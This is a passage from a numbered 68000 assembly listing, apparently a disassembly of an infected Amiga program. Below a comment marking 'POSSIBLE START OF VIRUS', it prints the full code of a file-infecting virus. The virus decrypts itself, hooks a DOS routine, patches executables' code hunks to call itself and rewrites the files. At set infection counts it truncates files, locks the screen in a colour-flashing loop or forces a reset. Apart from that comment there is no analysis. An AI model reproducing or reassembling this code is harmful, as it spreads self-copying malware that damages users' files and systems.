  567.     MOVE.L    A3,D0            ;05A6: 200B
  568.     BEQ    LAB_0045        ;05A8: 670000C2
  569.     BRA.S    LAB_003D        ;05AC: 6020
  570. LAB_003C:
  571.     MOVEQ    #15,D0            ;05AE: 700F
  572.     LEA    LAB_009F(PC),A0        ;05B0: 41FA0820
  573.     LEA    -108(A5),A1        ;05B4: 43EDFF94
  574.     BSR    LAB_00BA        ;05B8: 6100091E
  575.     MOVE.L    4(A3),D0        ;05BC: 202B0004
  576.     MOVEA.L    48(A7),A0        ;05C0: 206F0030
  577.     LEA    -108(A5),A1        ;05C4: 43EDFF94
  578.     BSR    LAB_00AB        ;05C8: 61000864
  579.     MOVEA.L    (A3),A3            ;05CC: 2653
  580. LAB_003D:
  581.     MOVE.L    A3,D0            ;05CE: 200B
  582.     BNE.S    LAB_003C        ;05D0: 66DC
  583.     BRA    LAB_0045        ;05D2: 60000098
  584. LAB_003E:
  585.     MOVEQ    #1,D0            ;05D6: 7001
  586.     LEA    LAB_00A1(PC),A0        ;05D8: 41FA0808
  587.     LEA    -108(A5),A1        ;05DC: 43EDFF94
  588.     BSR    LAB_00BA        ;05E0: 610008F6
  589.     MOVEA.L    A3,A0            ;05E4: 204B
  590. LAB_003F:
  591.     TST.B    (A0)+            ;05E6: 4A18
  592.     BNE.S    LAB_003F        ;05E8: 66FC
  593.     SUBQ.L    #1,A0            ;05EA: 5388
  594.     SUBA.L    A3,A0            ;05EC: 91CB
  595.     MOVE.L    A0,D0            ;05EE: 2008
  596.     MOVEA.L    A3,A0            ;05F0: 204B
  597.     LEA    -108(A5),A1        ;05F2: 43EDFF94
  598.     BSR    LAB_00BA        ;05F6: 610008E0
  599.     MOVEQ    #2,D0            ;05FA: 7002
  600.     LEA    LAB_00A2(PC),A0        ;05FC: 41FA07E6
  601.     LEA    -108(A5),A1        ;0600: 43EDFF94
  602.     BSR    LAB_00BA        ;0604: 610008D2
  603.     BRA.S    LAB_0045        ;0608: 6062
  604. LAB_0040:
  605.     MOVEQ    #1,D0            ;060A: 7001
  606.     LEA    LAB_00A3(PC),A0        ;060C: 41FA07DA
  607.     LEA    -108(A5),A1        ;0610: 43EDFF94
  608.     BSR    LAB_00BA        ;0614: 610008C2
  609.     MOVEA.L    A3,A0            ;0618: 204B
  610. LAB_0041:
  611.     TST.B    (A0)+            ;061A: 4A18
  612.     BNE.S    LAB_0041        ;061C: 66FC
  613.     SUBQ.L    #1,A0            ;061E: 5388
  614.     SUBA.L    A3,A0            ;0620: 91CB
  615.     MOVE.L    A0,D0            ;0622: 2008
  616.     MOVEA.L    A3,A0            ;0624: 204B
  617.     LEA    -108(A5),A1        ;0626: 43EDFF94
  618.     BSR    LAB_00BA        ;062A: 610008AC
  619.     MOVEQ    #2,D0            ;062E: 7002
  620.     LEA    LAB_00A4(PC),A0        ;0630: 41FA07B8
  621.     LEA    -108(A5),A1        ;0634: 43EDFF94
  622.     BSR    LAB_00BA        ;0638: 6100089E
  623.     BRA.S    LAB_0045        ;063C: 602E
  624. LAB_0042:
  625.     TST.L    -72(A5)            ;063E: 4AADFFB8
  626.     BNE.S    LAB_0043        ;0642: 6608
  627.     ADDQ.L    #1,D4            ;0644: 5284
  628.     MOVEQ    #5,D0            ;0646: 7005
  629.     CMP.L    D0,D4            ;0648: B880
  630.     BNE.S    LAB_0044        ;064A: 6612
  631. LAB_0043:
  632.     MOVEQ    #0,D4            ;064C: 7800
  633.     MOVEQ    #1,D0            ;064E: 7001
  634.     LEA    LAB_009B(PC),A0        ;0650: 41FA076E
  635.     LEA    -108(A5),A1        ;0654: 43EDFF94
  636.     BSR    LAB_00BA        ;0658: 6100087E
  637.     BRA.S    LAB_0045        ;065C: 600E
  638. LAB_0044:
  639.     MOVEQ    #1,D0            ;065E: 7001
  640.     LEA    LAB_00A5(PC),A0        ;0660: 41FA078C
  641.     LEA    -108(A5),A1        ;0664: 43EDFF94
  642.     BSR    LAB_00BA        ;0668: 6100086E
  643. LAB_0045:
  644.     MOVEA.L    48(A7),A3        ;066C: 266F0030
  645.     MOVE.L    A2,D1            ;0670: 220A
  646.     MOVE.L    D6,D2            ;0672: 2406
  647.     MOVEA.L    A3,A6            ;0674: 2C4B
  648.     JSR    -690(A6)        ;0676: 4EAEFD4E
  649.     MOVEA.L    D0,A2            ;067A: 2440
  650.     MOVE.L    A2,D0            ;067C: 200A
  651.     BNE    LAB_0030        ;067E: 6600FE54
  652. LAB_0046:
  653.     MOVE.L    36(A7),D1        ;0682: 222F0024
  654.     MOVEA.L    A3,A6            ;0686: 2C4B
  655.     JSR    -660(A6)        ;0688: 4EAEFD6C
  656.     MOVEA.L    A3,A0            ;068C: 204B
  657.     LEA    -104(A5),A1        ;068E: 43EDFF98
  658.     BSR    LAB_00C3        ;0692: 610008E4
  659.     MOVE.L    D0,D7            ;0696: 2E00
  660.     TST.L    D7            ;0698: 4A87
  661.     BEQ.S    LAB_0047        ;069A: 670E
  662.     MOVEQ    #20,D5            ;069C: 7A14
  663.     MOVE.L    D7,D1            ;069E: 2207
  664.     MOVEQ    #0,D2            ;06A0: 7400
  665.     MOVEA.L    A3,A6            ;06A2: 2C4B
  666.     JSR    -474(A6)        ;06A4: 4EAEFE26
  667.     BRA.S    LAB_004A        ;06A8: 6042
  668. LAB_0047:
  669.     ADDQ.L    #1,D5            ;06AA: 5285
  670.     MOVEA.L    -1612(A5),A2        ;06AC: 246DF9B4
  671.     ADDQ.L    #4,A2            ;06B0: 588A
  672. LAB_0048:
  673.     MOVE.L    A2,-1612(A5)        ;06B2: 2B4AF9B4
  674.     MOVEQ    #3,D0            ;06B6: 7003
  675.     CMP.L    D0,D5            ;06B8: BA80
  676.     BLT    LAB_002B        ;06BA: 6D00FDA6
  677.     MOVEA.L    48(A7),A3        ;06BE: 266F0030
  678.     TST.L    D4            ;06C2: 4A84
  679.     BLE.S    LAB_0049        ;06C4: 6F0C
  680.     LEA    LAB_009B(PC),A0        ;06C6: 41FA06F8
  681.     MOVE.L    A0,D1            ;06CA: 2208
  682.     MOVEA.L    A3,A6            ;06CC: 2C4B
  683.     JSR    -948(A6)        ;06CE: 4EAEFC4C
  684. LAB_0049:
  685.     MOVE.L    -28(A5),D5        ;06D2: 2A2DFFE4
  686.     TST.L    -72(A5)            ;06D6: 4AADFFB8
  687.     BEQ.S    LAB_004A        ;06DA: 6710
  688.     TST.L    -32(A5)            ;06DC: 4AADFFE0
  689.     BNE.S    LAB_004A        ;06E0: 660A
  690.     LEA    LAB_00A6(PC),A0        ;06E2: 41FA070C
  691.     MOVEQ    #5,D5            ;06E6: 7A05
  692.     MOVE.L    A0,-36(A5)        ;06E8: 2B48FFDC
  693. LAB_004A:
  694.     MOVE.L    -104(A5),-108(A5)    ;06EC: 2B6DFF98FF94
  695.     BRA.S    LAB_004C        ;06F2: 601E
  696. LAB_004B:
  697.     MOVEA.L    -108(A5),A0        ;06F4: 206DFF94
  698.     MOVE.L    (A0),-104(A5)        ;06F8: 2B50FF98
  699.     MOVEQ    #16,D0            ;06FC: 7010
  700.     ADD.L    12(A0),D0        ;06FE: D0A8000C
  701.     MOVEA.L    A0,A1            ;0702: 2248
  702.     MOVEA.L    52(A7),A6        ;0704: 2C6F0034
  703.     JSR    -210(A6)        ;0708: 4EAEFF2E
  704.     MOVE.L    -104(A5),-108(A5)    ;070C: 2B6DFF98FF94
  705. LAB_004C:
  706.     TST.L    -108(A5)        ;0712: 4AADFF94
  707.     BNE.S    LAB_004B        ;0716: 66DC
  708.     MOVE.L    -36(A5),D0        ;0718: 202DFFDC
  709.     BEQ.S    LAB_004D        ;071C: 670E
  710.     MOVE.L    D0,D1            ;071E: 2200
  711.     LEA    -84(A5),A0        ;0720: 41EDFFAC
  712.     MOVE.L    A0,D2            ;0724: 2408
  713.     MOVEA.L    A3,A6            ;0726: 2C4B
  714.     JSR    -954(A6)        ;0728: 4EAEFC46
  715. LAB_004D:
  716.     MOVE.L    44(A7),D1        ;072C: 222F002C
  717.     MOVEA.L    A3,A6            ;0730: 2C4B
  718.     JSR    -858(A6)        ;0732: 4EAEFCA6
  719.     MOVE.L    D7,D1            ;0736: 2207
  720.     JSR    -462(A6)        ;0738: 4EAEFE32
  721.     MOVEA.L    A3,A1            ;073C: 224B
  722.     MOVEA.L    52(A7),A6        ;073E: 2C6F0034
  723.     JSR    -414(A6)        ;0742: 4EAEFE62
  724.     BRA.S    LAB_004F        ;0746: 6012
  725. LAB_004E:
  726.     MOVEA    #$0004,A0        ;0748: 307C0004
  727.     MOVEA.L    (A0),A1            ;074C: 2250
  728.     MOVEA.L    276(A1),A0        ;074E: 20690114
  729.     MOVEQ    #122,D0            ;0752: 707A
  730.     MOVE.L    D0,148(A0)        ;0754: 21400094
  731.     MOVEQ    #20,D5            ;0758: 7A14
  732. LAB_004F:
  733.     TST.L    D5            ;075A: 4A85
  734.     BNE.S    LAB_0050        ;075C: 6606
  735.     TST.L    D7            ;075E: 4A87
  736.     BEQ.S    LAB_0050        ;0760: 6702
  737.     MOVEQ    #20,D5            ;0762: 7A14
  738. LAB_0050:
  739.     MOVE.L    D5,D0            ;0764: 2005
  740.     MOVEM.L    (A7)+,D2-D7/A2-A3/A6    ;0766: 4CDF4CFC
  741.     UNLK    A5            ;076A: 4E5D
  742.     RTS                ;076C: 4E75
  743.  
  744. ;POSSIBLE START OF VIRUS
  745.  
  746. LAB_0051:
  747.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;076E: 48E7FFFE
  748.     MOVE    VHPOSR,D0        ;0772: 303900DFF006
  749.     AND    #$000F,D0        ;0778: C07C000F
  750.     CMP    #$0007,D0        ;077C: B07C0007
  751.     BNE.S    LAB_0052        ;0780: 6602
  752.     BSR.S    LAB_0054        ;0782: 610A
  753. LAB_0052:
  754.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;0784: 4CDF7FFF
  755.     RTS                ;0788: 4E75
  756. LAB_0053:
  757.     JSR    0(A6)            ;078A: 4EAE0000
  758. LAB_0054:
  759.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;078E: 48E7FFFE
  760.     MOVEA.L    (ABSEXECBASE).W,A6    ;0792: 2C780004
  761.     BSR    LAB_0065        ;0796: 61000114
  762.     MOVE    LAB_005C(PC),D0        ;079A: 303A00BE
  763.     CMP    #$0032,D0        ;079E: B07C0032
  764.     BLT.S    LAB_0055        ;07A2: 6D14
  765.     LEA    LAB_0062+2(PC),A0    ;07A4: 41FA00D4
  766.     MOVE.L    #$62536649,D0        ;07A8: 203C62536649
  767.     ADDI.L    #$03030303,D0        ;07AE: 068003030303
  768.     MOVE.L    D0,24(A0)        ;07B4: 21400018
  769. LAB_0055:
  770.     MOVE    #$4E75,-224(A1)        ;07B8: 337C4E75FF20
  771.     MOVEQ    #37,D0            ;07BE: 7025
  772.     JSR    -552(A6)        ;07C0: 4EAEFDD8
  773.     MOVE.L    D0,D7            ;07C4: 2E00
  774.     BEQ.S    LAB_0056        ;07C6: 6744
  775.     LEA    LAB_005C+2(PC),A0    ;07C8: 41FA0092
  776.     MOVE.L    D7,(A0)            ;07CC: 2087
  777.     MOVEA.L    D7,A0            ;07CE: 2047
  778.     MOVEA.L    -148(A0),A0        ;07D0: 2068FF6C
  779.     CMPI.L    #$3D385E29,-6(A0)    ;07D4: 0CA83D385E29FFFA        =8^)
  780.     BEQ.S    LAB_0059        ;07DC: 6740
  781.     MOVE.L    #$00002710,D0        ;07DE: 203C00002710
  782.     MOVEQ    #0,D1            ;07E4: 7200
  783.     JSR    -198(A6)        ;07E6: 4EAEFF3A
  784.     TST.L    D0            ;07EA: 4A80
  785.     BEQ.S    LAB_0056        ;07EC: 671E
  786.     LEA    LAB_005E(PC),A0        ;07EE: 41FA0070
  787.     MOVE.L    D0,(A0)            ;07F2: 2080
  788.     MOVE.L    D0,D6            ;07F4: 2C00
  789.     LEA    LAB_0053(PC),A0        ;07F6: 41FAFF92
  790.     MOVEA.L    D6,A1            ;07FA: 2246
  791.     MOVE.L    #$00002710,D0        ;07FC: 203C00002710
  792.     JSR    -630(A6)        ;0802: 4EAEFD8A
  793.     MOVEA.L    D6,A0            ;0806: 2046
  794.     JMP    166(A0)            ;0808: 4EE800A6
  795. LAB_0056:
  796.     LEA    LAB_0061(PC),A0        ;080C: 41FA0060
  797.     MOVEQ    #46,D0            ;0810: 702E
  798. LAB_0057:
  799.     CLR    (A0)+            ;0812: 4258
  800.     SUBQ.L    #2,D0            ;0814: 5580
  801.     BNE.S    LAB_0057        ;0816: 66FA
  802. LAB_0058:
  803.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;0818: 4CDF7FFF
  804.     RTS                ;081C: 4E75
  805. LAB_0059:
  806.     MOVE    LAB_005C(PC),D0        ;081E: 303A003A
  807.     MOVE    -120(A0),D1        ;0822: 3228FF88
  808.     CMP    D1,D0            ;0826: B041
  809.     BLE.S    LAB_0056        ;0828: 6FE2
  810.     MOVE    D0,-120(A0)        ;082A: 3140FF88
  811.     BRA.S    LAB_0056        ;082E: 60DC
  812.     BSR.S    LAB_0063+2        ;0830: 616C
  813.     LEA    LAB_0054(PC),A0        ;0832: 41FAFF5A
  814.     MOVE    #$48E7,(A0)        ;0836: 30BC48E7
  815.     MOVEA.L    D7,A1            ;083A: 2247
  816.     MOVEA.L    #$FFFFFF6A,A0        ;083C: 207CFFFFFF6A
  817. LAB_005A:
  818.     LEA    LAB_006A(PC),A2        ;0842: 45FA008E
  819.     MOVE.L    A2,D0            ;0846: 200A
  820.     JSR    -420(A6)        ;0848: 4EAEFE5C
  821.     TST.L    D0            ;084C: 4A80
  822.     BEQ.S    LAB_005B        ;084E: 6708
  823.     LEA    LAB_0060(PC),A0        ;0850: 41FA0016
  824.     MOVE.L    D0,2(A0)        ;0854: 21400002
  825. LAB_005B:
  826.     BRA.S    LAB_0058        ;0858: 60BE
  827. LAB_005C:
  828.     ORI.B    #$C0,D0            ;085A: 000000C0
  829.     CMPA    (A0)+,A3        ;085E: B6D8
  830. LAB_005E:
  831.     DC.W    $00C1            ;0860
  832.     BLE.S    LAB_005A+2        ;0862: 6FE0
  833. LAB_005F:
  834.     DC.W    $00C0            ;0864
  835.     DC.W    $2B9D            ;0866
  836. LAB_0060:
  837.     JMP    EXT_0005        ;0868: 4EF900F97FBC
  838. LAB_0061:
  839.     ADD.B    D2,D1            ;086E: D202
  840.     EXG    D2,D3            ;0870: C543
  841.     ADD.B    D4,D5            ;0872: DA04
  842.     ADD.B    (A7)+,D2        ;0874: D41F
  843.     ADD.B    D3,(A7)+        ;0876: D71F
  844. LAB_0062:
  845.     AND    D7,-25786(A5)        ;0878: CF6D9B46
  846.     SUB    A5,D6            ;087C: 9C4D
  847.     ROL.B    #2,D1            ;087E: E519
  848.     DC.W    $C40C            ;0880
  849.     DC.W    $D80A            ;0882
  850.     ADDX    -(A5),-(A1)        ;0884: D34D
  851.     DC.W    $F719            ;0886
  852.     ADDX.B    D2,D5            ;0888: DB02
  853.     AND.B    D2,(A5)+        ;088A: C51D
  854.     DC.W    $DE08            ;088C
  855.     DC.W    $C408            ;088E
  856.     DC.W    $9636            ;0890
  857.     ADD.B    D0,-(A2)        ;0892: D122
  858.     DC.W    $F909            ;0894
  859.     LSL    #5,D5            ;0896: EB4D
  860.     SUB    D6,D6            ;0898: 9C46
  861.     DC.W    $9B6D            ;089A
  862. LAB_0063:
  863.     CMP    16890(A5),D3        ;089C: B66D41FA
  864.     DC.W    $FFFC            ;08A0
  865.     MOVE    VHPOSR,D0        ;08A2: 303900DFF006
  866.     MOVE    D0,(A0)            ;08A8: 3080
  867.     BRA.S    LAB_0066        ;08AA: 6004
  868. LAB_0065:
  869.     MOVE    LAB_0063(PC),D0        ;08AC: 303AFFEE
  870. LAB_0066:
  871.     LEA    LAB_0061(PC),A0        ;08B0: 41FAFFBC
  872.     MOVEA.L    A0,A1            ;08B4: 2248
  873.     MOVEQ    #46,D1            ;08B6: 722E
  874. LAB_0067:
  875.     EOR    D0,(A0)+        ;08B8: B158
  876.     SUBQ.L    #2,D1            ;08BA: 5581
  877.     BNE.S    LAB_0067        ;08BC: 66FA
  878.     RTS                ;08BE: 4E75
  879. LAB_0068:
  880.     MOVE.L    A0,-(A7)        ;08C0: 2F08
  881.     LEA    LAB_005F(PC),A0        ;08C2: 41FAFFA0
  882.     MOVE.L    D1,(A0)            ;08C6: 2081
  883.     MOVEA.L    (A7)+,A0        ;08C8: 205F
  884.     RTS                ;08CA: 4E75
  885. LAB_0069:
  886.     DC.W    $3D38            ;08CC
  887.     ADDQ.B    #7,0(A1)        ;08CE: 5E290000
  888. LAB_006A:
  889.     BSR.S    LAB_0068        ;08D2: 61EC
  890.     BSR.S    LAB_0060        ;08D4: 6192
  891.     TST.L    D0            ;08D6: 4A80
  892.     BEQ.S    LAB_006E        ;08D8: 6734
  893.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;08DA: 48E7FFFE
  894.     MOVEA.L    LAB_005F(PC),A0        ;08DE: 207AFF84
  895.     CMPI.B    #$76,(A0)        ;08E2: 0C100076
  896.     BEQ.S    LAB_006D        ;08E6: 6722
  897.     CMPI.B    #$56,(A0)        ;08E8: 0C100056
  898.     BEQ.S    LAB_006D        ;08EC: 671C
  899. LAB_006B:
  900.     CMPI.B    #$2E,(A0)        ;08EE: 0C10002E
  901.     BNE.S    LAB_006C        ;08F2: 6610
  902.     CMPI.B    #$6C,1(A0)        ;08F4: 0C28006C0001
  903.     BNE.S    LAB_006C        ;08FA: 6608
  904.     CMPI.B    #$4C,1(A0)        ;08FC: 0C28004C0001
  905.     BEQ.S    LAB_006D        ;0902: 6706
  906. LAB_006C:
  907.     TST.B    (A0)+            ;0904: 4A18
  908.     BNE.S    LAB_006B        ;0906: 66E6
  909.     BSR.S    LAB_006F        ;0908: 6106
  910. LAB_006D:
  911.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;090A: 4CDF7FFF
  912. LAB_006E:
  913.     RTS                ;090E: 4E75
  914. LAB_006F:
  915.     MOVEA.L    LAB_005C+2(PC),A6    ;0910: 2C7AFF4A
  916.     MOVE.L    LAB_005F(PC),D1        ;0914: 223AFF4E
  917.     MOVEQ    #-2,D2            ;0918: 74FE
  918.     JSR    -84(A6)            ;091A: 4EAEFFAC
  919.     MOVE.L    D0,D7            ;091E: 2E00
  920.     BEQ.S    LAB_006E        ;0920: 67EC
  921.     MOVEA.L    LAB_005E(PC),A5        ;0922: 2A7AFF3C
  922.     ADDA.L    #$00000FA0,A5        ;0926: DBFC00000FA0
  923.     MOVE.L    A5,D2            ;092C: 240D
  924.     MOVE.L    D7,D1            ;092E: 2207
  925.     JSR    -114(A6)        ;0930: 4EAEFF8E
  926.     MOVE.L    A5,D2            ;0934: 240D
  927.     MOVE.L    D7,D1            ;0936: 2207
  928.     ADDI.L    #$000003E8,D2        ;0938: 0682000003E8
  929.     JSR    -102(A6)        ;093E: 4EAEFF9A
  930.     MOVE.L    D7,D1            ;0942: 2207
  931.     JSR    -90(A6)            ;0944: 4EAEFFA6
  932.     MOVEA.L    A5,A0            ;0948: 204D
  933.     CMPI    #$0052,10(A0)        ;094A: 0C680052000A
  934.     BNE    LAB_006E        ;0950: 6600FFBC
  935.     MOVE.L    12(A0),D0        ;0954: 2028000C
  936.     MOVE.L    D0,D2            ;0958: 2400
  937.     MOVE.L    16(A0),D1        ;095A: 22280010
  938.     SUB.L    D1,D0            ;095E: 9081
  939.     CMP.L    #$00000004,D0        ;0960: B0BC00000004
  940.     BLE.S    LAB_006E        ;0966: 6FA6
  941.     ADDA.L    #$000003E8,A5        ;0968: DBFC000003E8
  942.     MOVE.L    124(A5),D0        ;096E: 202D007C
  943.     CMP.L    #$00000A28,D0        ;0972: B0BC00000A28
  944.     BLE    LAB_006E        ;0978: 6F00FF94
  945.     CMP.L    #$00001770,D2        ;097C: B4BC00001770
  946.     BGT.S    LAB_0070        ;0982: 6E0C
  947.     CMP.L    #$00007530,D0        ;0984: B0BC00007530
  948.     BGT    LAB_006E        ;098A: 6E00FF82
  949.     BRA.S    LAB_0071        ;098E: 600A
  950. LAB_0070:
  951.     CMP.L    #$00046CD0,D0        ;0990: B0BC00046CD0
  952.     BGT    LAB_006E        ;0996: 6E00FF76
  953. LAB_0071:
  954.     MOVE.L    A6,-(A7)        ;099A: 2F0E
  955.     MOVEA.L    (ABSEXECBASE).W,A6    ;099C: 2C780004
  956.     MOVE.L    124(A5),D0        ;09A0: 202D007C
  957.     MOVEQ    #0,D1            ;09A4: 7200
  958.     JSR    -198(A6)        ;09A6: 4EAEFF3A
  959.     MOVEA.L    (A7)+,A6        ;09AA: 2C5F
  960.     MOVE.L    D0,D7            ;09AC: 2E00
  961.     BEQ    LAB_006E        ;09AE: 6700FF5E
  962.     MOVE.L    LAB_005F(PC),D1        ;09B2: 223AFEB0
  963.     MOVE.L    #$000003ED,D2        ;09B6: 243C000003ED
  964.     JSR    -30(A6)            ;09BC: 4EAEFFE2
  965.     MOVE.L    D0,D1            ;09C0: 2200
  966.     BEQ    LAB_0075        ;09C2: 670000DA
  967.     MOVE.L    D0,D6            ;09C6: 2C00
  968.     MOVE.L    D7,D2            ;09C8: 2407
  969.     MOVE.L    124(A5),D3        ;09CA: 262D007C
  970.     JSR    -42(A6)            ;09CE: 4EAEFFD6
  971.     MOVE.L    D6,D1            ;09D2: 2206
  972.     JSR    -36(A6)            ;09D4: 4EAEFFDC
  973.     BSR    LAB_0076        ;09D8: 610000D4
  974.     MOVEA.L    D7,A0            ;09DC: 2047
  975.     CMPI    #$03F3,2(A0)        ;09DE: 0C6803F30002
  976.     BNE    LAB_0075        ;09E4: 660000B8
  977.     MOVE.L    20(A0),D0        ;09E8: 20280014
  978.     ANDI.L    #$00FFFFFF,D0        ;09EC: 028000FFFFFF
  979.     ADDI.L    #$00000134,20(A0)    ;09F2: 06A8000001340014
  980. LAB_0072:
  981.     CMPI    #$03E9,(A0)+        ;09FA: 0C5803E9
  982.     BNE.S    LAB_0072        ;09FE: 66FA
  983.     CMP.L    (A0),D0            ;0A00: B090
  984.     BNE    LAB_0075        ;0A02: 6600009A
  985.     ADDI.L    #$00000134,(A0)        ;0A06: 069000000134
  986.     ADDQ.L    #4,A0            ;0A0C: 5888
  987.     MOVEA.L    A0,A4            ;0A0E: 2848
  988.     LSL.L    #2,D0            ;0A10: E588
  989.     ADDA.L    D0,A0            ;0A12: D1C0
  990.     CMPI.L    #$01080402,-4(A0)    ;0A14: 0CA801080402FFFC
  991.     BEQ    LAB_0075        ;0A1C: 67000080
  992.     MOVEA.L    A0,A3            ;0A20: 2648
  993.     MOVEA.L    A4,A0            ;0A22: 204C
  994. LAB_0073:
  995.     CMPI    #$4EAE,(A0)+        ;0A24: 0C584EAE
  996.     BEQ.S    LAB_0074        ;0A28: 6706
  997.     SUBQ.L    #2,D0            ;0A2A: 5580
  998.     BNE.S    LAB_0073        ;0A2C: 66F6
  999.     BRA.S    LAB_0075        ;0A2E: 606E
  1000. LAB_0074:
  1001.     MOVE    (A0),D6            ;0A30: 3C10
  1002.     SUBQ.L    #2,A0            ;0A32: 5588
  1003.     MOVE.L    A3,D0            ;0A34: 200B
  1004.     SUB.L    A0,D0            ;0A36: 9088
  1005.     CMP.L    #$00007FF0,D0        ;0A38: B0BC00007FF0
  1006.     BGT    LAB_0075        ;0A3E: 6E00005E
  1007.     MOVE    #$4EBA,(A0)+        ;0A42: 30FC4EBA
  1008.     SUBQ.L    #2,D0            ;0A46: 5580
  1009.     MOVE    D0,(A0)            ;0A48: 3080
  1010.     LEA    LAB_0053(PC),A0        ;0A4A: 41FAFD3E
  1011.     MOVE    D6,2(A0)        ;0A4E: 31460002
  1012.     LEA    LAB_005C(PC),A0        ;0A52: 41FAFE06
  1013.     ADDQ    #1,(A0)            ;0A56: 5250
  1014.     MOVE.L    LAB_005F(PC),D1        ;0A58: 223AFE0A
  1015.     MOVE.L    #$000003EE,D2        ;0A5C: 243C000003EE
  1016.     JSR    -30(A6)            ;0A62: 4EAEFFE2
  1017.     MOVE.L    D0,D6            ;0A66: 2C00
  1018.     BEQ.S    LAB_0075        ;0A68: 6734
  1019.     MOVE.L    D6,D1            ;0A6A: 2206
  1020.     MOVE.L    D7,D2            ;0A6C: 2407
  1021.     MOVE.L    A3,D3            ;0A6E: 260B
  1022.     SUB.L    D7,D3            ;0A70: 9687
  1023.     JSR    -48(A6)            ;0A72: 4EAEFFD0
  1024.     MOVE.L    D6,D1            ;0A76: 2206
  1025.     LEA    LAB_0053(PC),A0        ;0A78: 41FAFD10
  1026.     MOVE.L    A0,D2            ;0A7C: 2408
  1027.     MOVE.L    #$000004D0,D3        ;0A7E: 263C000004D0
  1028.     JSR    -48(A6)            ;0A84: 4EAEFFD0
  1029.     MOVE.L    D6,D1            ;0A88: 2206
  1030.     MOVE.L    A3,D2            ;0A8A: 240B
  1031.     MOVE.L    124(A5),D3        ;0A8C: 262D007C
  1032.     ADD.L    D7,D3            ;0A90: D687
  1033.     SUB.L    A3,D3            ;0A92: 968B
  1034.     JSR    -48(A6)            ;0A94: 4EAEFFD0
  1035.     MOVE.L    D6,D1            ;0A98: 2206
  1036.     JSR    -36(A6)            ;0A9A: 4EAEFFDC
  1037. LAB_0075:
  1038.     MOVEA.L    (ABSEXECBASE).W,A6    ;0A9E: 2C780004
  1039.     MOVEA.L    D7,A1            ;0AA2: 2247
  1040.     MOVE.L    124(A5),D0        ;0AA4: 202D007C
  1041.     JSR    -210(A6)        ;0AA8: 4EAEFF2E
  1042.     RTS                ;0AAC: 4E75
  1043. LAB_0076:
  1044.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;0AAE: 48E7FFFE
  1045.     MOVEQ    #0,D0            ;0AB2: 7000
  1046.     MOVE    VHPOSR,D0        ;0AB4: 303900DFF006
  1047.     ANDI    #$000F,D0        ;0ABA: 0240000F
  1048.     CMP    #$0007,D0        ;0ABE: B07C0007
  1049.     BNE.S    LAB_0077        ;0AC2: 663A
  1050.     MOVE    LAB_005C(PC),D0        ;0AC4: 303AFD94
  1051.     CMP    #$003C,D0        ;0AC8: B07C003C
  1052.     BGE.S    LAB_0078        ;0ACC: 6C36
  1053.     CMP    #$0032,D0        ;0ACE: B07C0032
  1054.     BLT.S    LAB_0077        ;0AD2: 6D2A
  1055.     MOVEA.L    D7,A0            ;0AD4: 2047
  1056.     CLR.L    (A0)            ;0AD6: 4290
  1057.     MOVE.L    LAB_005F(PC),D1        ;0AD8: 223AFD8A
  1058.     MOVE.L    #$000003EE,D2        ;0ADC: 243C000003EE
  1059.     JSR    -30(A6)            ;0AE2: 4EAEFFE2
  1060.     MOVE.L    D0,D6            ;0AE6: 2C00
  1061.     BEQ.S    LAB_0077        ;0AE8: 6714
  1062.     MOVE.L    D6,D1            ;0AEA: 2206
  1063.     LEA    LAB_0053(PC),A0        ;0AEC: 41FAFC9C
  1064.     MOVE.L    A0,D2            ;0AF0: 2408
  1065.     MOVEQ    #10,D3            ;0AF2: 760A
  1066.     JSR    -48(A6)            ;0AF4: 4EAEFFD0
  1067.     MOVE.L    D6,D1            ;0AF8: 2206
  1068.     JSR    -36(A6)            ;0AFA: 4EAEFFDC
  1069. LAB_0077:
  1070.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;0AFE: 4CDF7FFF
  1071.     RTS                ;0B02: 4E75
  1072. LAB_0078:
  1073.     MOVE.L    124(A5),D0        ;0B04: 202D007C
  1074.     CMP.L    #$00002710,D0        ;0B08: B0BC00002710
  1075.     BGE.S    LAB_007A        ;0B0E: 6C3A
  1076.     LEA    LAB_007D(PC),A0        ;0B10: 41FA0098
  1077.     MOVE.L    A0,D6            ;0B14: 2C08
  1078.     BSR.S    LAB_007B        ;0B16: 6146
  1079.     LEA    LAB_0069(PC),A0        ;0B18: 41FAFDB2
  1080.     MOVE.L    A0,D1            ;0B1C: 2208
  1081.     MOVE.L    #$000003EE,D2        ;0B1E: 243C000003EE
  1082.     JSR    -30(A6)            ;0B24: 4EAEFFE2
  1083.     MOVE.L    D0,D6            ;0B28: 2C00
  1084. LAB_0079:
  1085.     MOVE.L    D6,D1            ;0B2A: 2206
  1086.     LEA    LAB_0053(PC),A0        ;0B2C: 41FAFC5C
  1087.     MOVE.L    A0,D2            ;0B30: 2408
  1088.     MOVEQ    #10,D3            ;0B32: 760A
  1089.     JSR    -48(A6)            ;0B34: 4EAEFFD0
  1090.     MOVEQ    #3,D1            ;0B38: 7203
  1091.     JSR    -198(A6)        ;0B3A: 4EAEFF3A
  1092.     MOVE    VHPOSR,COLOR00        ;0B3E: 33F900DFF00600DFF180
  1093.     BRA.S    LAB_0079        ;0B48: 60E0
  1094. LAB_007A:
  1095.     LEA    LAB_0080(PC),A0        ;0B4A: 41FA00AE
  1096.     MOVE.L    A0,D6            ;0B4E: 2C08
  1097.     BSR.S    LAB_007B        ;0B50: 610C
  1098.     JMP    EXT_0006        ;0B52: 4EF900FC0000
  1099.     RESET                ;0B58: 4E70
  1100.     DC.W    $FFFF            ;0B5A
  1101.     DC.W    $FFFF            ;0B5C
  1102. LAB_007B:
  1103.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;0B5E: 48E7FFFE
  1104.     MOVEA.L    (ABSEXECBASE).W,A6    ;0B62: 2C780004
  1105.     MOVEQ    #2,D1            ;0B66: 7202
  1106.     MOVE.L    #$000001F4,D0        ;0B68: 203C000001F4
  1107.     JSR    -198(A6)        ;0B6E: 4EAEFF3A
  1108.     MOVE.L    D0,D7            ;0B72: 2E00
  1109.     MOVEA.L    D0,A1            ;0B74: 2240
  1110.     MOVEA.L    D6,A0            ;0B76: 2046
  1111.     MOVE.L    #$000001F4,D0        ;0B78: 203C000001F4
